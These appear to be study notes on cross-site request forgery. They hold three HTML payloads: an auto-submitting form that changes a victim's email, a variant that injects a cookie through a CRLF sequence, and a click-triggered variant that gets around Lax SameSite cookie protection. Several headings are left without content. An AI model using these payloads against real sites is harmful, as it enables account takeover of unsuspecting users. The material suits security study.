Cross-site Request Forgery

Cause a victim to do an action unintentionally by having them make a request (e.g. https://example.com/changeemail?email=attacker@email.com)

CSRF requires

POST request CSRF example:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Can be generated using the CSRF PoC generator in burp suite professional

Common validation issues

If we need to perform a GET request first:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <img src="https://vulnerable-website.com/?search=test%0d%0aSet-Cookie:%20{cookie}={value}%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
    </body>
</html>

SameSite Cookies

Same-site

Same-origin

Bypassing Lax Same-Site Cookie Restrictions

<form action="https://vulnerable-website.com/email/change" method="POST">
    <input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
    window.onclick = () => {
        window.open('{sso_endpoint}');
        setTimeout(() => {
            document.forms[0].submit();
        }, 10000);
    };
</script>

Bypassing Strict Same-Site Cookie Restrictions

Bypassing Refered-based CSRF Defenses